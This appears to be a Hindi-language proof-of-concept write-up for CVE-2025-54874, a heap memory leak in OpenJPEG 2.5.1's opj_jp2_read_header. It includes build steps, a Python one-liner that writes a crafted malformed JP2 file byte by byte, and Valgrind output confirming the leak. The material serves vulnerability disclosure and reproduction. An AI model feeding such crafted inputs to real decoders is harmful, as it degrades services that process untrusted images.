
प्रूफ-ऑफ-कॉन्सेप्ट जो OpenJPEG 2.5.1 में क्राफ्टेड JP2 फाइलों के माध्यम से मेमोरी लीक प्रदर्शित करता है, जिससे opj_read_header विफलता और हीप लीक ट्रिगर होता है, वैलग्राइंड सत्यापन के साथ।
https://github.com/uclouvain/openjpeg/pull/1573
https://www.cvedetails.com/cve/CVE-2025-54874/
https://securitylab.github.com/advisories/GHSL-2025-057_OpenCV/
openjpeg-2.5.1
Linux 6.10.14-linuxkit x86_64 GNU/Linux
फ़ंक्शन कॉल श्रृंखला है: opj_read_header → opj_jp2_read_header → opj_j2k_read_header → opj_j2k_setup_header_reading → opj_j2k_read_header_procedure → opj_stream_read_data
जब डेटा बहुत छोटा होता है, तो opj_stream_read_data त्रुटि लौटाएगा, जिससे opj_j2k_read_header opj_jp2_read_header को त्रुटि लौटाएगा।
हालाँकि, opj_jp2_read_header में, हीप मेमोरी पर मान सेट करने से पहले यह जाँच नहीं की गई कि opj_j2k_read_header त्रुटि लौटाता है या नहीं, जिससे मेमोरी लीक होती है।
opj_image_t, opj_codec_t और opj_stream_t को प्रारंभ करें (ये opj_read_header के लिए आवश्यक हैं)
openjpeg2.5.1/tests/test_decode_area.c:create_codec_and_streamopj_read_header() को कॉल करेंgit clone [email protected]:cyhe50/cve-2025-54874-poc.git
cd cve-2025-54874-poc
./poc in/test.jp2: प्राप्त करें Expect Error: opj_read_header failed
valgrind --track-origins=yes --leak-check=full ./poc in/test.jp2
आउटपुट
==1280== Memcheck, a memory error detector
==1280== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==1280== Using Valgrind-3.18.1 and LibVEX; rerun with -h for copyright info
==1280== Command: ./poc in/test.jp2
==1280==
Expect Error: opj_read_header failed
==1280==
==1280== HEAP SUMMARY:
==1280== in use at exit: 8 bytes in 1 blocks
==1280== total heap usage: 28 allocs, 27 frees, 1,066,008 bytes allocated
==1280==
==1280== 8 bytes in 1 blocks are definitely lost in loss record 1 of 1
==1280== at 0x484DA83: calloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==1280== by 0x10EAD6: opj_calloc (opj_malloc.c:204)
==1280== by 0x12D8EE: opj_jp2_read_colr (jp2.c:1573)
==1280== by 0x13030F: opj_jp2_read_jp2h (jp2.c:2727)
==1280== by 0x12F6AA: opj_jp2_read_header_procedure (jp2.c:2364)
==1280== by 0x12F967: opj_jp2_exec (jp2.c:2440)
==1280== by 0x1307CD: opj_jp2_read_header (jp2.c:2855)
==1280== by 0x10D9DA: opj_read_header (openjpeg.c:475)
==1280== by 0x10B90D: main (poc.c:62)
==1280==
==1280== LEAK SUMMARY:
==1280== definitely lost: 8 bytes in 1 blocks
==1280== indirectly lost: 0 bytes in 0 blocks
==1280== possibly lost: 0 bytes in 0 blocks
==1280== still reachable: 0 bytes in 0 blocks
==1280== suppressed: 0 bytes in 0 blocks
==1280==
==1280== For lists of detected and suppressed errors, rerun with: -s
==1280== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
स्रोत कोड डाउनलोड करें
संकलन करें
cd openjpeg-2.5.1
mkdir build && cd build
cmake -DCMAKE_BUILD_TYPE=Debug ..
make
cd ../..
POC बनाएँ
POC संकलन करें
gcc -g -I./openjpeg-2.5.1/src/lib/openjp2 -o poc poc.c ./openjpeg-2.5.1/build/bin/libopenjp2.a -lm
कमजोर jp2 उत्पन्न करें
python3 -c "import sys; sys.stdout.buffer.write(bytes([
0x00,0x00,0x00,0x0c,0x6a,0x50,0x20,0x20,0x0d,0x0a,0x87,0x0a,
0x00,0x00,0x00,0x14,0x66,0x74,0x79,0x70,0x6a,0x70,0x30,0x20,
0xf9,0xff,0xff,0xff,0x6a,0x70,0x33,0x20,0x00,0x00,0x00,0x31,
0x6a,0x70,0x32,0x68,0x00,0x00,0x00,0x16,0x69,0x68,0x64,0x72,
0x00,0x80,0x00,0x00,0x00,0x00,0x05,0x00,0x00,0x03,0x07,0x07,
0x00,0x00,0x00,0x00,0x00,0x13,0x63,0x6f,0x6c,0x72,0x02,0xff,
0xff,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,
0x00,0x00,0x00,0x20,0x6a,0x70,0x32,0x63,0xff,0x4f
]))" > in/test.jp2
valgrind चलाएँ
valgrind --track-origins=yes --leak-check=full ./poc in/test.jp2